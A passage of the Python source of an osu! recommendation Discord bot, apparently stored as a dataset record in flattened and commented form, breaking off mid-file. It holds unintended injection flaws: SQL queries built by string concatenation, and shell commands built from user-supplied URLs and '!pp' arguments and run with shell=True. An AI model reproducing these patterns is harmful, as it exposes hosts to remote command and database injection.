stars, diff_params \texcept: \t\tpp=name=combo=stars=diff_params=-1 \t\treturn pp, name, combo, stars, diff_params def Log(user, message, logLevel): \tif logLevel==0: \t\tlogLevel=\"INFO: \" \t\tdiscordLogLevel=\"INFO: \" \telif logLevel==1: \t\tlogLevel=\"! WARNING: \" \t\tdiscordLogLevel=\"**WARNING: **\" \telse: \t\tlogLevel=\"!! ERROR: \" \t\tdiscordLogLevel=\"__**ERROR: **__\" \ti=datetime.now() \tdate=i.strftime('%Y/%m/%d %H:%M:%S') \tLogFile=open(constants.Paths.logsFile, \"a\") \tfileOutput=str(logLevel) +str(date) +\" -\" +str(user) +\": \" +str(message) \tLogFile.write(fileOutput +\"\\n\") \tdiscordOutput=str(discordLogLevel) +str(date) +\" -\" +str(user) +\": \" +str(message) \tLogFile.close() \treturn discordOutput @client.event async def on_ready(): \tglobal mainChannel, logsChannel, visible, databasePath \tmainChannel=client.get_server(constants.Settings.mainServerID).get_channel(constants.Settings.mainChannelId) \tlogsChannel=client.get_server(constants.Settings.mainServerID).get_channel(constants.Settings.logsChannelId) \tprint('Logged in !') \tawait asyncio.sleep(0.1) \thello=False \tif datetime.now().strftime('%H')==\"00\" or(set(sys.argv) & set([\"refresh\"])): \t\tmessage=await client.send_message(mainChannel, \"<:empty:317951266355544065> Updating stats...\") \t\ttry: \t\t\tprint('Refreshing users stats...') \t\t\trefresh_all_pp_stats() \t\t\tprint(\" -Done\") \t\t\tawait client.edit_message(message, \"<:check:317951246084341761> Updating stats... Done !\") \t\texcept: \t\t\tawait client.edit_message(message, \"<:xmark:317951256889131008> Updating stats... Fail !\") \t\tif not set(sys.argv) & set([\"dev\"]): \t\t\tawait client.send_message(mainChannel, \"<:online:317951041838514179> Uso!<:Bot:317951180737347587> is now online !\") \t\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !')) \t\t\thello=True \tprint('Ready !') \tif(set(sys.argv) & set([\"online\"])) and hello==False: \t\tawait client.send_message(mainChannel, \"<:online:317951041838514179> Uso!<:Bot:317951180737347587> is now online !\") \t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !')) \tif set(sys.argv) & set([\"dev\"]): \t\tawait client.change_presence(status=discord.Status('idle'), game=discord.Game(name='Dev mode')) @client.event async def on_message(message): \tglobal api, visible \trank='USER' \tif message.content.startswith(commandPrefix): \t\trank=return_user_rank(message.author.id) \t\tawait client.send_message(logsChannel, Log(str(message.author), message.content, 0)) \tchannel=message.channel \tif message.content.startswith(commandPrefix) and message.channel.is_private==False and message.content.startswith(commandPrefix +'mute')==False: \t\tconn=sqlite3.connect(databasePath) \t\tcursor=conn.cursor() \t\tcursor.execute(\"SELECT state FROM muted WHERE serverID=\" +str(message.server.id)) \t\tif cursor.fetchall()[0][0]=='on': \t\t\tchannel=message.author \t\telse: \t\t\tchannel=message.channel \tif message.content.startswith(commandPrefix +'test') and(rank in['MASTER']): \t\tawait client.send_message(message.channel, \"Hi ! \" +str(message.author) +\" my command prefix is '\" +commandPrefix +\"'\") \t\t \tif(message.content.startswith(commandPrefix +'recomandation') or message.content.startswith(commandPrefix +'r')) and(rank in['USER', 'ADMIN', 'MASTER']): \t\tconn=sqlite3.connect(databasePath) \t\tcursor=conn.cursor() \t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId=\" +str(message.author.id)) \t\ttry: \t\t\tresult=cursor.fetchall()[0][0] \t\texcept: \t\t\tresult=None \t\tif not(result==None): \t\t\tpp_average=int(result*0.97) \t\t\tif(pp_average==0): \t\t\t\tawait client.send_message(channel, \"Please run the *\" +commandPrefix +\"update_pp_stats* command to set your stats for the first time in our database\") \t\t\telse: \t\t\t\tpp_average_fluctuation=pp_average*0.05 \t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId=\" +str(message.author.id)) \t\t\t\talreadyRecomendedId=cursor.fetchall()[0][0] \t\t\t\tif alreadyRecomendedId==None: \t\t\t\t\talreadyRecomendedId=\"00000\" \t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >=\" +str(pp_average-pp_average_fluctuation) +\" and pp_95 <=\" +str(pp_average+pp_average_fluctuation) +\" and id not in(\" +alreadyRecomendedId +\") Limit 1\") \t\t\t\trecomendedBeatmap=cursor.fetchall()[0] \t\t\t\turl=recomendedBeatmap[0] \t\t\t\tname=recomendedBeatmap[1] \t\t\t\tdiff_params=recomendedBeatmap[2] \t\t\t\tpp_100=recomendedBeatmap[3] \t\t\t\tpp_95=recomendedBeatmap[4] \t\t\t\tstars=recomendedBeatmap[5] \t\t\t\tcombo=recomendedBeatmap[6] \t\t\t\trecomendedId=recomendedBeatmap[7] \t\t\t\talreadyRecomendedId +=\",\" +str(recomendedId) \t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps='\" +alreadyRecomendedId +\"' where DiscordId='\" +str(message.author.id) +\"'\") \t\t\t\tconn.commit() \t\t\t\tconn.close() \t\t\t\tpp_98, _, _, _, _=return_simple_beatmap_info(url, \" 98%\") \t\t\t\tdescription=\"__100% pp__: \" +str(pp_100) +\"\\n\" +\"__98% pp__: \" +str(pp_98) +\"\\n\" +\"__95% pp__: \" +str(pp_95) +\"\\n\" +\"__Max Combo__: \" +str(combo) +\"\\n\" +\"__Stars__: \" +str(stars) +\"\\n\" +str(\"*\" +diff_params.upper() +\"*\") \t\t\t\tem=discord.Embed(title=str(name), description=description, colour=0xf44242, url=url) \t\t\t\tawait client.send_message(channel, embed=em) \t\t\t\tprint(recomendedBeatmap) \t\telse: \t\t\tawait client.send_message(channel, \"Uhh sorry, seems like you haven't linked your osu! account...\\nPlease use the command *\" +commandPrefix +\"link_user 'Your osu username' or 'your osu Id'* to link the bot to your osu account !\\nEx. \" +commandPrefix +\"link_user Renondedju\") \tif message.content.startswith(commandPrefix +'add_beatmap') and(rank in['ADMIN', 'MASTER']): \t\tif(message.content.replace(commandPrefix +\"add_beatmap \", \"\")==\"\" or not(message.content.replace(commandPrefix +\"add_beatmap \", \"\")[0:19]==\"https://osu.ppy.sh/\")): \t\t\tawait client.send_message(message.channel, \"Invalid url !\") \t\telse: \t\t\tpp_100, pp_95, name, combo, stars, diff_params=return_beatmap_infos(message.content.replace(commandPrefix +\"add_beatmap \", \"\")) \t\t\tconn=sqlite3.connect(databasePath) \t\t\tcursor=conn.cursor() \t\t\ttry: \t\t\t\tcursor.execute(\"\"\"INSERT INTO \"beatmaps\"(url, name, diff_params, pp_100, pp_95, stars, combo, id) VALUES(?, ?, ?, ?, ?, ?, ?, ?)\"\"\",(message.content.replace(commandPrefix +\"add_beatmap \", \"\"), name, diff_params, pp_100, pp_95, stars, combo, message.content.replace(commandPrefix +\"add_beatmap \", \"\").replace(\"https://osu.ppy.sh/b/\", \"\").replace(\"&m=0\", \"\"))) \t\t\t\tconn.commit() \t\t\t\tconn.close() \t\t\t\tawait client.send_message(message.channel, \"Addition done !\") \t\t\texcept sqlite3.IntegrityError: \t\t\t\tawait client.send_message(message.channel, \"This map is already in the Database !\") \t \tif message.content.startswith(commandPrefix +'add_beats') and(rank in['MASTER']): \t\tif str(message.author.id)==constants.Settings.ownerDiscordId: \t\t\tawait client.send_message(logsChannel, Log(str(message.author), message.content, 0)) \t\t\tbeatmapfile=open(message.content.replace(commandPrefix +'add_beats ', \"\"), \"r\") \t\t\tbeatmapToProcess=beatmapfile.read().split('\\n') \t\t\tawait client.send_message(message.channel, \"<:streaming:317951088646946826> Starting the import of \" +str(len(beatmapToProcess)) +\" beatmaps\") \t\t\tawait asyncio.sleep(0.1) \t\t\tawait client.change_presence(status=discord.Status('dnd'), game=discord.Game(name='Processing...')) \t\t\tconn=sqlite3.connect(databasePath) \t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"Ready to add \" +str(len(beatmapToProcess)) +\" beatmaps to the Database\", 1)) \t\t\tcursor=conn.cursor() \t\t\tprocessed=1 \t\t\tdone=0 \t\t\tinfoError=0 \t\t\talreadyExists=0 \t\t\tfor beatmapUrl in beatmapToProcess: \t\t\t\tprint(\"Processing \" +beatmapUrl +\" -\" +str(processed) +\"/\" +str(len(beatmapToProcess)), end=\"\") \t\t\t\tcursor.execute(\"select url from beatmaps where url='\" +beatmapUrl +\"'\") \t\t\t\tif len(cursor.fetchall())==0: \t\t\t\t\tpp_100, pp_95, name, combo, stars, diff_params=return_beatmap_infos(beatmapUrl, \"\") \t\t\t\t\tif not(pp_100==-1): \t\t\t\t\t\ttry: \t\t\t\t\t\t\tcursor.execute(\"\"\"INSERT INTO \"beatmaps\"(url, name, diff_params, pp_100, pp_95, stars, combo, id) VALUES(?, ?, ?, ?, ?, ?, ?, ?)\"\"\",(beatmapUrl, name, diff_params, pp_100, pp_95, stars, combo, beatmapUrl.replace(\"https://osu.ppy.sh/b/\", \"\").replace(\"&m=0\", \"\"))) \t\t\t\t\t\t\tconn.commit() \t\t\t\t\t\t\tprint(\" -Done\") \t\t\t\t\t\t\tawait client.send_message(logsChannel, \"<:check:317951246084341761> \" +beatmapUrl +\"( \"+str(processed) +\"/\" +str(len(beatmapToProcess)) +\") -Done\") \t\t\t\t\t\t\tdone +=1 \t\t\t\t\t\texcept sqlite3.IntegrityError: \t\t\t\t\t\t\tprint(\" -Can't get beatmap infos !\") \t\t\t\t\t\t\tawait client.send_message(logsChannel, \"<:xmark:317951256889131008> \" +beatmapUrl +\"( \"+str(processed) +\"/\" +str(len(beatmapToProcess)) +\") -Can't get beatmap infos !\") \t\t\t\t\t\t\tinfoError +=1 \t\t\t\t\telse: \t\t\t\t\t\tprint(\" -Can't get beatmap infos !\") \t\t\t\t\t\tawait client.send_message(logsChannel, \"<:xmark:317951256889131008> \" +beatmapUrl +\"( \"+str(processed) +\"/\" +str(len(beatmapToProcess)) +\") -Can't get beatmap infos !\") \t\t\t\t\t\tinfoError +=1 \t\t\t\telse: \t\t\t\t\tprint(\" -Already exists\") \t\t\t\t\tawait client.send_message(logsChannel, \"<:xmark:317951256889131008> \" +beatmapUrl +\"( \"+str(processed) +\"/\" +str(len(beatmapToProcess)) +\") -Already exists\") \t\t\t\t\talreadyExists +=1 \t\t\t\tprocessed +=1 \t\t\tconn.close() \t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"Successfuly added \" +str(len(beatmapToProcess)) +\" beatmaps to the database\", 1)) \t\t\tawait client.send_message(message.channel, \"<:online:317951041838514179> Back online ! -__Done:__ \" +str(done) +\", __InfoError:__ \" +str(infoError) +\", __Already exists:__ \" +str(alreadyExists)) \t\t\tawait asyncio.sleep(0.1) \t\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !')) \t\telse: \t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"tried to add multiple beatmaps\", 1)) \t\t\tawait client.send_message(message.channel, \"Sorry, Only Renondedju can do this !\") \tif message.content.startswith(commandPrefix +'mute') and(rank in['USER', 'ADMIN', 'MASTER']) and(message.channel.permissions_for(message.author).administrator==True or str(message.author)==\"Renondedju \t\tif not(message.server.id==None): \t\t\tconn=sqlite3.connect(databasePath) \t\t\tcursor=conn.cursor() \t\t\ttry: \t\t\t\tparameter=message.content.split(' ')[1] \t\t\texcept: \t\t\t\tparameter='' \t\t\tif parameter.lower() in['on', 'off']: \t\t\t\tparameter=parameter.lower() \t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID=\" +str(message.server.id)) \t\t\t\tif len(cursor.fetchall())==0: \t\t\t\t\tcursor.execute(\"INSERT INTO muted(serverID, state) VALUES(?, ?)\",(message.server.id, parameter)) \t\t\t\telse: \t\t\t\t\tcursor.execute(\"UPDATE muted SET state='\" +parameter +\"' WHERE serverID=\" +str(message.server.id)) \t\t\t\tawait client.send_message(message.channel, \"Done !\") \t\t\t\tconn.commit() \t\t\telse: \t\t\t\tawait client.send_message(message.channel, \"Wrong argument(expected 'on' or 'off')\") \t\t\tconn.close() \t\telse: \t\t\tawait client.send_message(message.channel, \"You can't execute this command here(servers only)\") \tif message.content.startswith(commandPrefix +'pp') and(rank in['USER', 'ADMIN', 'MASTER']): \t\tparameters=message.content.replace(commandPrefix +\"pp \", \"\") \t\turl=parameters.split(\" \")[0] \t\ttry: \t\t\toppaiParameters=parameters.split(\" \")[1:len(parameters.split(\" \"))] \t\t\toppaiParameters=\" \".join(str(x) for x in oppaiParameters) \t\texcept IndexError: \t\t\toppaiParameters=\"\" \t\tif(parameters==\"\" or not(url[0:19]==\"https://osu.ppy.sh/\")): \t\t\tawait client.send_message(channel, \"Invalid url !\") \t\telse: \t\t\tpp_100, pp_95, name, combo, stars, diff_params=return_beatmap_infos(url, oppaiParameters) \t\t\t \t\t\tif not(pp_100==-1): \t\t\t\tadd_beatmap_to_queue(url) \t\t\t\tawait client.send_message(client.get_server(\"310348632094146570\").get_channel(\"315166181256593418\"), Log(str(client.user.name), \"Added \" +url +\" to beatmap queue\", 0)) \t\t\t\tdescription=\"__100% pp__: \" +str(pp_100) +\"\\n\" +\"__95% pp__: \" +str(pp_95) +\"\\n\" +\"__combo max__: \" +str(combo) +\"\\n\" +\"__stars__: \" +str(stars) +\"\\n\" +str(\"*\" +diff_params +\"*\") \t\t\t\tem=discord.Embed(title=str(name), description=description, colour=0xf44242) \t\t\t\tawait client.send_message(channel, embed=em) \t\t\telse: \t\t\t\tawait client.send_message(channel, \"Can't get beatmap info...\") \tif message.content.startswith(commandPrefix +'kill') and(rank in['MASTER']): \t\tif str(message.author.id)==constants.Settings.ownerDiscordId: \t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Killing the bot !\", 0)) \t\t\tawait client.send_message(message.channel, \"Alright, killing myself... bye everyone !\") \t\t\tclient.logout() \t\t\tclient.close() \t\t\tsys.exit(\"Bot has been shutdown by command correctly !\") \t\telse: \t\t\tawait client.send_message(logsChannel, Log(str(message.author), \"tried to kill the bot !\", 1)) \t\t\tawait client.send_message(message.channel, \"Sorry, Only Renondedju can do this !\") \tif message.content.startswith(commandPrefix +'user') and(rank in['USER', 'ADMIN', 'MASTER']): \t\tparameters=message.content.split(' ') \t\tresults=api.get_user(parameters[1]) \t\tif results==[]: \t\t\tresults=api.get_user(int(parameters[1])) \t\tstats=[] \t\tif not(results==[]): \t\t\tfor item in results[0]: \t\t\t\tstats.append(item) \t\t\tdescription=\"Accuracy: \" +str(stats[0][1])[0:4] +\"\\npp: \" +str(stats[13][1]) +\"\\nCountry: \" +stats[7][1] +\"\\nLevel: \" +str(stats[9][1])[0:4] +\"\\nPlays: \" +str(stats[10][1]) +\"\\nRank: \" +str(stats[12][1]) +\"\\nCountry rank: \" +str(stats[11][1]) \t\t\tem=discord.Embed(title=str(stats[17][1]), description=description, colour=0xf44242, url=\"https://new.ppy.sh/u/\" +str(stats[16][1]) +\" \t\t\tawait client.send_message(channel, embed=em) \t\telse: \t\t\tawait client.send_message(channel, \"User not found!\") \tif message.content.startswith(commandPrefix +'link_user') and(rank in['USER', 'ADMIN', 'MASTER']): \t\tparameters=message.content.replace(commandPrefix +'link_user ', '') \t\ttry: \t\t\tresults=api.get_user(parameters) \t\t\tif results==[]: \t\t\t\tresults=api.get_user(int(parameters)) \t\t\t\tprint(results) \t\texcept IndexError: \t\t\tawait client.send_message(channel, \"Something went wrong...\") \t\tstats=[] \t\tif not(results==[]): \t\t\tfor item in results[0]: \t\t\t\tstats.append(item) \t\t\tosuId=stats[16][1] \t\t\tosuUsername=stats[17][1] \t\t\tuserDiscordId=int(message.author.id) \t\t\toperationDone=link_user(userDiscordId, osuUsername, osuId, \"USER\") \t\t\tdescription=\"Accuracy: \" +str(stats[0][1])[0:4] +\"\\npp: \" +str(stats[13][1]) +\"\\nCountry: \" +stats[7][1] +\"\\nLevel: \" +str(stats[9][1])[0:4] +\"\\nPlays: \" +str(stats[10][1]) +\"\\nRank: \" +str(stats[12][1]) +\"\\nCountry rank: \" +str(stats[11][1]) \t\t\tem=discord.Embed(title=str(stats[17][1]), description=description, colour=0xf44242, url=\"https://new.ppy.sh/u/\" +str(stats[16][1]) +\" \t\t\tawait client.send_message(channel, \"Your account has been successfuly \" +operationDone +\" to \") \t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Your account has been successfuly \" +operationDone +\" to osu! username '\" +stats[17][1] +\"'\", 0)) \t\t\tawait client.send_message(channel, embed=em) \t\t\tif operationDone==\"linked\": \t\t\t\tawait client.send_message(channel, \"Please wait while I'm updating your stats...\") \t\t\t\tif update_pp_stats(osuId, message.author.id)==0: \t\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Successfuly updated \" +str(message.author) +\"'s pp stats\", 0)) \t\t\t\t\tawait client.send_message(channel, \"Successfuly updated \" +str(message.author) +\"'s pp stats\") \t\t\t\telse: \t\t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Unexpected error for \" +str(message.author), 2)) \t\t\t\t\tawait client.send_message(channel, \"Unexpected error, please try again later or contact Renondedju for more help\") \t\telse: \t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"User not found\", 0)) \t\t\tawait client.send_message(channel, \"User not found!\") \tif message.content.startswith(commandPrefix +'update_pp_stats') and(rank in['USER', 'ADMIN', 'MASTER']): \t\tconn=sqlite3.connect(databasePath) \t\tcursor=conn.cursor() \t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId=\" +str(message.author.id)) \t\tosuId=cursor.fetchall()[0][0] \t\tconn.close() \t\tif not(osuId==None): \t\t\tresult=update_pp_stats(osuId, message.author.id) \t\t\tif result==0: \t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Succesfuly updated \" +str(message.author) +\"'s pp stats\", 0)) \t\t\t\tawait client.send_message(channel, \"Succesfuly updated \" +str(message.author) +\"'s pp stats\") \t\t\telif result==1: \t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Wrong osu! id for \" +str(message.author), 1)) \t\t\t\tawait client.send_message(channel, \"Wrong osu! id for \" +str(message.author) +\". Try to link your account with an osu! account by typing the command *\" +commandPrefix +\"link_user 'Your osu username'*\") \t\t\telif result==2: \t\t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Unexpected error for \" +str(message.author), 2)) \t\t\t\tawait client.send_message(channel, \"Unexpected error, please try again later or contact Renondedju for more help\") \t\telse: \t\t\tawait client.send_message(logsChannel, Log(str(client.user.name), \"Wrong osu! id for \" +str(message.author), 1)) \t\t\tawait client.send_message(channel, \"Wrong osu! id for \" +str(message.author) +\". Try to link your account with an osu account by typing the command *\" +commandPrefix +\"link_user 'Your osu username'*\") \tif message.content.startswith(commandPrefix +'help') and(rank in['USER', 'ADMIN', 'MASTER']): \t\tif rank=='ADMIN': \t\t\thelpfile=open(constants.Paths.helpAdminFile, \"r\") \t\t\thelpString=helpfile.read() \t\t\thelpfile.close() \t\t\tawait client.send_message(channel, helpString) \t\telif rank=='MASTER': \t\t\thelpfile=open(constants.Paths.helpMasterFile, \"r\") \t\t\thelpString=helpfile.read() \t\t\thelpfile.close() \t\t\tawait client.send_message(channel, helpString) \t\telse: \t\t\thelpfile=open(constants.Paths.helpUserFile, \"r\") \t\t\thelpString=helpfile.read() \t\t\thelpfile.close() \t\t\tawait client.send_message(channel, helpString) client.run(constants.Api.discordToken) ", "sourceWithComments": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 20 22:39:26 2017\n\n@author: Renondedju\n\"\"\"\nimport discord\nimport asyncio\nimport sys\nimport subprocess\nimport sqlite3\nimport re\nfrom datetime import datetime\nfrom osuapi import OsuApi, ReqConnector\nimport requests\nimport constants\n\n#Uso !#7507\n\nclient = discord.Client()\ncommandPrefix = constants.Settings.commandPrefix\n\napi = OsuApi(constants.Api.osuApiKey, connector=ReqConnector())\n\nmainChannel = None\nlogsChannel = None\ndatabasePath = constants.Paths.beatmapDatabase\n\ndef return_user_rank(discordId):\n\tif not discordId == constants.Settings.ownerDiscordId:\n\t\tconn = sqlite3.connect(databasePath)\n\t\tcursor = conn.cursor()\n\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = \" + str(discordId))\n\t\ttry:\n\t\t\trank = cursor.fetchall()[0][0]\n\t\texcept IndexError:\n\t\t\trank = 'USER'\n\t\tprint (rank)\n\t\tconn.close()\n\t\tif rank == \"\":\n\t\t\trank = \"USER\"\n\t\treturn rank\n\treturn 'MASTER'\n\ndef refresh_all_pp_stats():\n\tconn = sqlite3.connect(databasePath)\n\tcursor = conn.cursor()\n\tcursor.execute(\"SELECT DiscordId, OsuId FROM users\")\n\tusersToRefresh = cursor.fetchall()\n\tfor user in usersToRefresh:\n\t\tupdate_pp_stats(user[1], user[0])\n\ndef update_pp_stats(osuId, discordId):\n\ttry:\n\t\tpp_average = get_pp_stats(osuId)\n\t\tif pp_average == False:\n\t\t\treturn 1\n\t\tconn = sqlite3.connect(databasePath)\n\t\tcursor = conn.cursor()\n\t\tcursor.execute(\"UPDATE users SET ppAverage = \" + str(pp_average) + \" WHERE DiscordId = \" + str(discordId))\n\t\tconn.commit()\n\t\tprint (\"Pp stats updated for osuId : \" + str(osuId) + \" with discordId : \" + str(discordId) + \" - PP average = \" + str(pp_average))\n\t\treturn 0\n\texcept:\n\t\treturn 2\n\ndef get_pp_stats(osuId):\n\tglobal api\n\ttry:\n\t\tresults = api.get_user_best(osuId, limit = 20)\n\t\tpp_average = 0\n\t\tfor beatmap in results:\n\t\t\tfor item in beatmap:\n\t\t\t\tif item[0] == 'pp':\n\t\t\t\t\tpp_average += item[1]\n\t\tpp_average = pp_average/20\n\t\treturn pp_average\n\texcept:\n\t\treturn False\n\ndef link_user(discordId, osuName, osuId, rank):\n\tresult = \"\"\n\tprint (\"Linking : discordId : \" + str(discordId) + \", osuName : \" + osuName + \", osuId : \" + str(osuId) + \" to Database.\", end = \" \")\n\tconn = sqlite3.connect(databasePath)\n\tcursor = conn.cursor()\n\tcursor.execute(\"SELECT * FROM users WHERE discordId = \" + str(discordId))\n\tif len(cursor.fetchall()) == 0:\n\t\tcursor.execute(\"\"\"\n\t\tINSERT INTO users (discordId, osuName, osuId, rank) \n\t\tVALUES (?, ?, ?, ?)\n\t\t\"\"\", (discordId, osuName, osuId, rank))\n\t\tconn.commit()\n\t\tprint (\"Added\")\n\t\tresult = \"linked\"\n\telse:\n\t\tcursor.execute(\"UPDATE users SET osuName = '\" + osuName + \"', osuId = \" + str(osuId) + \", rank = '\" + rank + \"' WHERE discordId = \" + str(discordId))\n\t\tconn.commit()\n\t\tprint(\"Updated\")\n\t\tresult = \"updated\"\n\tconn.close()\n\treturn result\n\ndef add_beatmap_to_queue(url):\n\tif not(url in new_beatmap_list):\n\t\tnew_beatmaps_file = open(\"/home/pi/DiscordBots/OsuBot/beatmapsFiles/newBeatmaps.txt\", \"a\")\n\t\tnew_beatmaps_file.write('\\n' + url)\n\t\tnew_beatmaps_file.close()\n\t\tprint (\"Added \" + url + \" to beatmap queue\")\n\ndef return_simple_beatmap_info(url, oppaiParameters):\n\turl = url.replace('/b/', '/osu/').split(\"&\", 1)[0]\n\tif oppaiParameters == \"\":\n\t\tcommand = \"curl \" + url + \" | /home/pi/DiscordBots/Oppai/oppai/oppai -\"\n\telse:\n\t\tcommand = \"curl \" + url + \" | /home/pi/DiscordBots/Oppai/oppai/oppai - \" + oppaiParameters\n\n\treturn get_infos(subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True).stdout.read())\n\ndef return_beatmap_infos(url, oppaiParameters):\n\t#https://osu.ppy.sh/osu/37658\n\turl = url.replace('/b/', '/osu/').split(\"&\", 1)[0]\n\tif oppaiParameters == \"\":\n\t\tcommand = \"curl \" + url + \" | /home/pi/DiscordBots/Oppai/oppai/oppai -\"\n\telse:\n\t\tcommand = \"curl \" + url + \" | /home/pi/DiscordBots/Oppai/oppai/oppai - \" + oppaiParameters\n\n\t#print (command)\n\tp = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)\n\traw_data = p.stdout.read()\n\tpp_100, name, combo, stars, diff_params = get_infos(raw_data)\n\tif pp_100 == -1:\n\t\tpp_100 = pp_95 = name = combo = stars = diff_params = -1\n\t\treturn pp_100, pp_95, name, combo, stars, diff_params\n\telse:\n\t\tp = subprocess.Popen(command + \" 95%\", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)\n\t\traw_data = p.stdout.read()\n\t\tpp_95, _, _, _, _ = get_infos(raw_data)\n\t\treturn pp_100, pp_95, name, combo, stars, diff_params\n\ndef get_infos(row_datas):\n\ttry:\n\t\tsplit_data = row_datas.split(b'\\n')\n\t\tpp = split_data[35].replace(b'pp', b'').decode(\"utf-8\")\n\t\tname = split_data[14].replace(b' - ', b'').decode(\"utf-8\")\n\t\tcombo = split_data[16].split(b'/')[0].decode(\"utf-8\")\n\t\tstars = split_data[22].replace(b' stars', b'').decode(\"utf-8\")\n\t\tdiff_params = split_data[15].decode(\"utf-8\")\n\t\treturn pp, name, combo, stars, diff_params\n\texcept:\n\t\tpp = name = combo = stars = diff_params = -1\n\t\treturn pp, name, combo, stars, diff_params\n\ndef Log(user, message, logLevel):\n\tif logLevel == 0:\n\t\tlogLevel = \"INFO : \"\n\t\tdiscordLogLevel = \"INFO : \"\n\telif logLevel == 1:\n\t\tlogLevel = \"! WARNING : \"\n\t\tdiscordLogLevel = \"**WARNING : **\"\n\telse:\n\t\tlogLevel = \"!! ERROR : \"\n\t\tdiscordLogLevel = \"__**ERROR : **__\"\n\ti = datetime.now()\n\tdate = i.strftime('%Y/%m/%d %H:%M:%S')\n\tLogFile = open(constants.Paths.logsFile, \"a\")\n\n\tfileOutput = str(logLevel) + str(date) + \" -\" + str(user) + \" : \" + str(message)\n\tLogFile.write(fileOutput + \"\\n\")\n\tdiscordOutput = str(discordLogLevel) + str(date) + \" -\" + str(user) + \" : \" + str(message)\n\tLogFile.close()\n\treturn discordOutput\n\n@client.event\nasync def on_ready():\n\tglobal mainChannel, logsChannel, visible, databasePath\n\tmainChannel = client.get_server(constants.Settings.mainServerID).get_channel(constants.Settings.mainChannelId)\n\tlogsChannel = client.get_server(constants.Settings.mainServerID).get_channel(constants.Settings.logsChannelId)\n\tprint('Logged in !')\n\tawait asyncio.sleep(0.1)\n\thello = False\n\tif datetime.now().strftime('%H') == \"00\" or (set(sys.argv) & set([\"refresh\"])):\n\t\tmessage = await client.send_message(mainChannel, \"<:empty:317951266355544065> Updating stats ...\")\n\t\ttry:\n\t\t\tprint('Refreshing users stats ...')\n\t\t\trefresh_all_pp_stats()\n\t\t\tprint(\" - Done\")\n\t\t\tawait client.edit_message(message, \"<:check:317951246084341761> Updating stats ... Done !\")\n\t\texcept:\n\t\t\tawait client.edit_message(message, \"<:xmark:317951256889131008> Updating stats ... Fail !\")\n\t\tif not set(sys.argv) & set([\"dev\"]):\n\t\t\tawait client.send_message(mainChannel, \"<:online:317951041838514179> Uso!<:Bot:317951180737347587> is now online !\")\n\t\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !'))\n\t\t\thello = True\n\tprint ('Ready !')\n\tif (set(sys.argv) & set([\"online\"])) and hello == False:\n\t\tawait client.send_message(mainChannel, \"<:online:317951041838514179> Uso!<:Bot:317951180737347587> is now online !\")\n\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !'))\n\tif set(sys.argv) & set([\"dev\"]):\n\t\tawait client.change_presence(status=discord.Status('idle'), game=discord.Game(name='Dev mode'))\n \n@client.event\nasync def on_message(message):\n\tglobal api, visible\n\n\trank = 'USER'\n\tif message.content.startswith(commandPrefix):\n\t\trank = return_user_rank(message.author.id)\n\t\tawait client.send_message(logsChannel, Log(str(message.author), message.content, 0))\n\tchannel = message.channel\n\tif message.content.startswith(commandPrefix) and message.channel.is_private == False and message.content.startswith(commandPrefix + 'mute') == False:\n\t\tconn = sqlite3.connect(databasePath)\n\t\tcursor = conn.cursor()\n\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = \" + str(message.server.id))\n\t\tif cursor.fetchall()[0][0] == 'on':\n\t\t\tchannel = message.author\n\t\telse:\n\t\t\tchannel = message.channel\n\n\tif message.content.startswith(commandPrefix + 'test') and (rank in ['MASTER']):\n\t\tawait client.send_message(message.channel, \"Hi ! \" + str(message.author) + \" my command prefix is '\" + commandPrefix + \"'\")\n\t\t#Hey !\n\n\tif (message.content.startswith(commandPrefix + 'recomandation') or message.content.startswith(commandPrefix + 'r')) and (rank in ['USER', 'ADMIN', 'MASTER']):\n\t\tconn = sqlite3.connect(databasePath)\n\t\tcursor = conn.cursor()\n\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = \" + str(message.author.id))\n\t\ttry:\n\t\t\tresult = cursor.fetchall()[0][0]\n\t\texcept:\n\t\t\tresult = None\n\t\tif not(result == None):\n\t\t\tpp_average = int(result*0.97)\n\t\t\tif (pp_average == 0):\n\t\t\t\tawait client.send_message(channel, \"Please run the *\" + commandPrefix + \"update_pp_stats* command to set your stats for the first time in our database\")\n\t\t\telse:\n\t\t\t\tpp_average_fluctuation = pp_average*0.05\n\n\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = \" + str(message.author.id))\n\t\t\t\talreadyRecomendedId = cursor.fetchall()[0][0]\n\n\t\t\t\tif alreadyRecomendedId == None:\n\t\t\t\t\talreadyRecomendedId = \"00000\"\n\n\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= \" + str(pp_average-pp_average_fluctuation) + \" and pp_95 <= \" + str(pp_average+pp_average_fluctuation) + \" and id not in(\" + alreadyRecomendedId + \") Limit 1\")\n\n\t\t\t\trecomendedBeatmap = cursor.fetchall()[0]\n\t\t\t\turl = recomendedBeatmap[0]\n\t\t\t\tname = 